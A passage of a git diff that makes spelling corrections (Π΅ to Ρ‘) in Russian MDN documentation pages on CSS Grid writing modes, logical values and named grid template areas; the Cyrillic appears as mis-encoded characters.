ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π° Π½ΠΈΠΆΠ΅. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>horizontal-tb</code>, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ <code>vertical-rl</code>. Π’ тСкстС Ρ€Π΅ΠΆΠΈΠΌΠ° всС Π΅Ρ‰Π΅ выполняСтся Π²Π»Π΅Π²ΠΎ-Π²ΠΏΡ€Π°Π²ΠΎ, ΠΎΠ΄Π½Π°ΠΊΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ тСкста Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ - встроСнный тСкст Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ Π²Π½ΠΈΠ· ΠΏΠΎ страницС, свСрху Π²Π½ΠΈΠ·.</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>horizontal-tb</code> являСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для тСкста Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅. Π­Ρ‚ΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ Ρ‡ΠΈΡ‚Π°Π΅Ρ‚Π΅ это руководство. Π”Ρ€ΡƒΠ³ΠΈΠ΅ свойства измСнят способ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ тСкста Π² нашСм Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ°ΠΌ записи, Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹ΠΌ ΠΏΠΎ всСму ΠΌΠΈΡ€Ρƒ. ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅, для получСния ΠΏΠΎΠ»Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± этом см. <a href="https://24ways.org/2016/css-writing-modes/">Jen’s article</a>. Π’ качСствС простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Ρƒ мСня Π΅ΡΡ‚ΡŒ Π΄Π²Π° ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π° Π½ΠΈΠΆΠ΅. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>horizontal-tb</code>, Π° Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ <code>vertical-rl</code>. Π’ тСкстС Ρ€Π΅ΠΆΠΈΠΌΠ° всС Π΅Ρ‰Ρ‘ выполняСтся Π²Π»Π΅Π²ΠΎ-Π²ΠΏΡ€Π°Π²ΠΎ, ΠΎΠ΄Π½Π°ΠΊΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ тСкста Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ - встроСнный тСкст Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ Π²Π½ΠΈΠ· ΠΏΠΎ страницС, свСрху Π²Π½ΠΈΠ·.</p>
<div id="writing_1">
<div class="hidden">
@@ -361,7 +361,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode
<h3 id="Π‘Ρ‚Ρ€Π°Π½Π½Ρ‹ΠΉ_порядок_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ_Π²_свойствС_grid-area">Π‘Ρ‚Ρ€Π°Π½Π½Ρ‹ΠΉ порядок Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² свойствС grid-area</h3>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойство {{cssxref ("grid-area")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ всС Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ строки области сСтки ΠΊΠ°ΠΊ ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Когда люди Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°ΡŽΡ‚ΡΡ с этим, ΠΎΠ½ΠΈ часто ΡƒΠ΄ΠΈΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ значСния Π½Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ порядку, Ρ‡Ρ‚ΠΎ ΠΈ сокращСнноС ΠΏΠΎΠ»Π΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΠΎ часовой стрСлкС: свСрху, справа, Π²Π½ΠΈΠ·Ρƒ, слСва.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойство {{cssxref ("grid-area")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ всС Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ строки области сСтки ΠΊΠ°ΠΊ ΠΎΠ΄Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Когда люди Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°ΡŽΡ‚ΡΡ с этим, ΠΎΠ½ΠΈ часто ΡƒΠ΄ΠΈΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ значСния Π½Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ порядку, Ρ‡Ρ‚ΠΎ ΠΈ сокращённоС ΠΏΠΎΠ»Π΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΏΠΎ часовой стрСлкС: свСрху, справа, Π²Π½ΠΈΠ·Ρƒ, слСва.</p>
<p>ΠŸΠΎΡ€ΡΠ΄ΠΎΠΊ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ <code>grid-area</code>:</p>
@@ -381,7 +381,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode
<li><code>right</code></li>
</ul>
-<p>Π­Ρ‚ΠΎ ΠΏΡ€ΠΎΡ‚ΠΈΠ² часовой стрСлки! Π˜Ρ‚Π°ΠΊ, ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ΅ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ для ΠΏΠΎΠ»Π΅ΠΉ ΠΈ заполнСния. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ ΠΏΠΎΠΉΠΌΠ΅Ρ‚Π΅, Ρ‡Ρ‚ΠΎ <code>grid-area</code> Π²ΠΈΠ΄ΠΈΡ‚ ΠΌΠΈΡ€ ΠΊΠ°ΠΊ "block ΠΈ inline", Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ устанавливаСм Π΄Π²Π° запуска, Π° Π·Π°Ρ‚Π΅ΠΌ Π΄Π²Π° ΠΊΠΎΠ½Ρ†Π°. Когда Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅, это становится Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π»ΠΎΠ³ΠΈΡ‡Π½Π΅Π΅!</p>
+<p>Π­Ρ‚ΠΎ ΠΏΡ€ΠΎΡ‚ΠΈΠ² часовой стрСлки! Π˜Ρ‚Π°ΠΊ, ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ΅ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ для ΠΏΠΎΠ»Π΅ΠΉ ΠΈ заполнСния. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ ΠΏΠΎΠΉΠΌΡ‘Ρ‚Π΅, Ρ‡Ρ‚ΠΎ <code>grid-area</code> Π²ΠΈΠ΄ΠΈΡ‚ ΠΌΠΈΡ€ ΠΊΠ°ΠΊ "block ΠΈ inline", Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ устанавливаСм Π΄Π²Π° запуска, Π° Π·Π°Ρ‚Π΅ΠΌ Π΄Π²Π° ΠΊΠΎΠ½Ρ†Π°. Когда Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅, это становится Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π»ΠΎΠ³ΠΈΡ‡Π½Π΅Π΅!</p>
<h2 id="Π‘ΠΌΠ΅ΡˆΠ°Π½Π½Ρ‹Π΅_Ρ€Π΅ΠΆΠΈΠΌΡ‹_записи_ΠΈ_ΠΌΠ°ΠΊΠ΅Ρ‚_сСтки">Π‘ΠΌΠ΅ΡˆΠ°Π½Π½Ρ‹Π΅ Ρ€Π΅ΠΆΠΈΠΌΡ‹ записи ΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚ сСтки</h2>
@@ -436,7 +436,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode
<h3 id="ЛогичСскиС_свойства_для_всСго!">ЛогичСскиС свойства для всСго!</h3>
-<p>Наши Π½ΠΎΠ²Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ Π΄Π°ΡŽΡ‚ Π½Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти логичСскиС значСния для размСщСния элСмСнтов, ΠΎΠ΄Π½Π°ΠΊΠΎ, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒ ΠΈΡ… с физичСскими свойствами, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌΠΈ для ΠΏΠΎΠ»Π΅ΠΉ ΠΈ отступов, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ эти физичСскиС свойства Π½Π΅ измСнятся Π² соотвСтствии с Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ записи.</p>
+<p>Наши Π½ΠΎΠ²Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΊΠΎΠΌΠΏΠΎΠ½ΠΎΠ²ΠΊΠΈ Π΄Π°ΡŽΡ‚ Π½Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти логичСскиС значСния для размСщСния элСмСнтов, ΠΎΠ΄Π½Π°ΠΊΠΎ, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒ ΠΈΡ… с физичСскими свойствами, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΌΠΈ для ΠΏΠΎΠ»Π΅ΠΉ ΠΈ отступов, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ эти физичСскиС свойства Π½Π΅ измСнятся Π² соотвСтствии с Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ записи.</p>
<p><a href="https://drafts.csswg.org/css-logical/">БпСцификация логичСских свойств CSS</a> ΠΈΠΌΠ΅Π΅Ρ‚ Ρ†Π΅Π»ΡŒΡŽ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ это ΠΈ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ ΠΌΡ‹ смоТСм ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Logical_Properties">логичСскиС эквивалСнты</a> для свойств, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ {{cssxref ("margin-left")}} ΠΈ {{cssxref ("margin-right") }}, Π² нашСм CSS. Firefox ΡƒΠΆΠ΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π» ΠΈΡ…, поэтому Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… прямо сСйчас Π² Firefox. Π― знаю Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ эти ΠΊΠΎΡ€Π°Π±Π»ΠΈ ΠΏΠΎΠ²ΡΡŽΠ΄Ρƒ, ваши знания Β«Π‘Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ Π²ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒΒ» с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Grid ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ‚ΠΎΡ‡Π½ΠΎ Π·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ ΠΈΡ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
diff --git a/files/ru/web/css/css_grid_layout/grid_template_areas/index.html b/files/ru/web/css/css_grid_layout/grid_template_areas/index.html
index 2b99c113d1..4081789445 100644
--- a/files/ru/web/css/css_grid_layout/grid_template_areas/index.html
+++ b/files/ru/web/css/css_grid_layout/grid_template_areas/index.html
@@ -4,18 +4,18 @@ slug: Web/CSS/CSS_Grid_Layout/Grid_Template_Areas
translation_of: Web/CSS/CSS_Grid_Layout/Grid_Template_Areas
original_slug: Web/CSS/CSS_Grid_Layout/Π“Ρ€ΠΈΠ΄-области
---
-<p>Π’Β <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΎΠ±Π·ΠΎΡ€Π΅</a>Β ΠΌΡ‹ рассмотрСли Π³Ρ€ΠΈΠ΄-Π»ΠΈΠ½ΠΈΠΈ ΠΈ Ρ‚ΠΎ, ΠΊΠ°ΠΊ с ΠΈΡ… ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты Π² Π³Ρ€ΠΈΠ΄Π°Ρ…. Когда Π’Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ с CSS Grid Layout, Ρƒ Вас всСгда Π΅ΡΡ‚ΡŒ Π³Ρ€ΠΈΠ΄-Π»ΠΈΠ½ΠΈΠΈ, поэтому ΠΎΠ½ΠΈ - быстрый, прямой ΠΈ Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΉ способ Ρ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ элСмСнты. Как Π±Ρ‹ Ρ‚ΠΎ Π½ΠΈ Π±Ρ‹Π»ΠΎ, сущСствуСт Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΈ этот ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ Π² ΠΎΠ΄ΠΈΠ½ΠΎΡ‡ΠΊΡƒ, Ρ‚Π°ΠΊ ΠΈ Π² сочСтании с располоТСниСм элСмСнтов ΠΏΠΎ Π³Ρ€ΠΈΠ΄-линиям. Π’ этом ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅ элСмСнты Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ…, Π·Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π³Ρ€ΠΈΠ΄-областСй. Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим, ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΈ Π’Ρ‹ скоро ΠΏΠΎΠΉΠΌΠ΅Ρ‚Π΅, ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π΅Π³ΠΎ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ ascii-искусства Π² ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π½Π° Π³Ρ€ΠΈΠ΄Π°Ρ…!</p>
+<p>Π’Β <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΎΠ±Π·ΠΎΡ€Π΅</a>Β ΠΌΡ‹ рассмотрСли Π³Ρ€ΠΈΠ΄-Π»ΠΈΠ½ΠΈΠΈ ΠΈ Ρ‚ΠΎ, ΠΊΠ°ΠΊ с ΠΈΡ… ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты Π² Π³Ρ€ΠΈΠ΄Π°Ρ…. Когда Π’Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ с CSS Grid Layout, Ρƒ Вас всСгда Π΅ΡΡ‚ΡŒ Π³Ρ€ΠΈΠ΄-Π»ΠΈΠ½ΠΈΠΈ, поэтому ΠΎΠ½ΠΈ - быстрый, прямой ΠΈ Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΉ способ Ρ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚ΡŒ элСмСнты. Как Π±Ρ‹ Ρ‚ΠΎ Π½ΠΈ Π±Ρ‹Π»ΠΎ, сущСствуСт Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΈ этот ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ Π² ΠΎΠ΄ΠΈΠ½ΠΎΡ‡ΠΊΡƒ, Ρ‚Π°ΠΊ ΠΈ Π² сочСтании с располоТСниСм элСмСнтов ΠΏΠΎ Π³Ρ€ΠΈΠ΄-линиям. Π’ этом ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅ элСмСнты Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Ρ…, Π·Π°Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π³Ρ€ΠΈΠ΄-областСй. Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим, ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΈ Π’Ρ‹ скоро ΠΏΠΎΠΉΠΌΡ‘Ρ‚Π΅, ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π΅Π³ΠΎ Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ ascii-искусства Π² ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π½Π° Π³Ρ€ΠΈΠ΄Π°Ρ…!</p>
<h2 id="Имя_для_Π³Ρ€ΠΈΠ΄-области">Имя для Π³Ρ€ΠΈΠ΄-области</h2>
-<p>Π’Ρ‹ ΡƒΠΆΠ΅ Π·Π½Π°ΠΊΠΎΠΌΡ‹ со свойством {{cssxref("grid-area")}}. Π­Ρ‚ΠΎ Ρ‚ΠΎ свойство, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π² качСствС значСния Π½ΠΎΠΌΠ΅Ρ€Π°Β Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… Π³Ρ€ΠΈΠ΄-Π»ΠΈΠ½ΠΈΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΡ… располоТСниС Π³Ρ€ΠΈΠ΄-области.</p>
+<p>Π’Ρ‹ ΡƒΠΆΠ΅ Π·Π½Π°ΠΊΠΎΠΌΡ‹ со свойством {{cssxref("grid-area")}}. Π­Ρ‚ΠΎ Ρ‚ΠΎ свойство, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π² качСствС значСния Π½ΠΎΠΌΠ΅Ρ€Π°Β Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… Π³Ρ€ΠΈΠ΄-Π»ΠΈΠ½ΠΈΠΉ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰ΠΈΡ… располоТСниС Π³Ρ€ΠΈΠ΄-области.</p>
<pre class="brush: css">.box1 {
grid-area: 1 / 1 / 4 / 2;
}
</pre>
-<p>Π§Ρ‚ΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ, ΠΊΠΎΠ³Π΄Π° Π·Π°Π΄Π°Π΅ΠΌ всС Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ значСния? ΠœΡ‹ опрСдСляСм ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π³Ρ€ΠΈΠ΄-линиями.Β </p>
+<p>Π§Ρ‚ΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ, ΠΊΠΎΠ³Π΄Π° Π·Π°Π΄Π°Ρ‘ΠΌ всС Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ значСния? ΠœΡ‹ опрСдСляСм ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π³Ρ€ΠΈΠ΄-линиями.Β </p>
<p><img alt="The Grid Area defined by lines" src="https://mdn.mozillademos.org/files/14667/4_Area.png" style="height: 354px; width: 951px;"></p>
@@ -30,7 +30,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Π“Ρ€ΠΈΠ΄-области
<p><img alt="An image showing a simple two column layout with header and footer" src="https://mdn.mozillademos.org/files/14669/4_Layout.png" style="height: 397px; width: 900px;"></p>
-<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства {{cssxref("grid-area")}} ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· этих областСй своС собствСнноС имя. ИмСнованиС областСй Π΅Ρ‰Π΅ Π½Π΅ создаСт Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ ΠΌΠ°ΠΊΠ΅Ρ‚Π°, ΠΎΠ΄Π½Π°ΠΊΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Π΅ области, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π² Π½Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
+<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства {{cssxref("grid-area")}} ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· этих областСй своё собствСнноС имя. ИмСнованиС областСй Π΅Ρ‰Ρ‘ Π½Π΅ создаёт Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ ΠΌΠ°ΠΊΠ΅Ρ‚Π°, ΠΎΠ΄Π½Π°ΠΊΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас Π΅ΡΡ‚ΡŒ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½Ρ‹Π΅ области, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π² Π½Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
<div id="Grid_Area_1">
<pre class="brush: css">.header {
@@ -47,7 +47,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/Π“Ρ€ΠΈΠ΄-области
}
</pre>
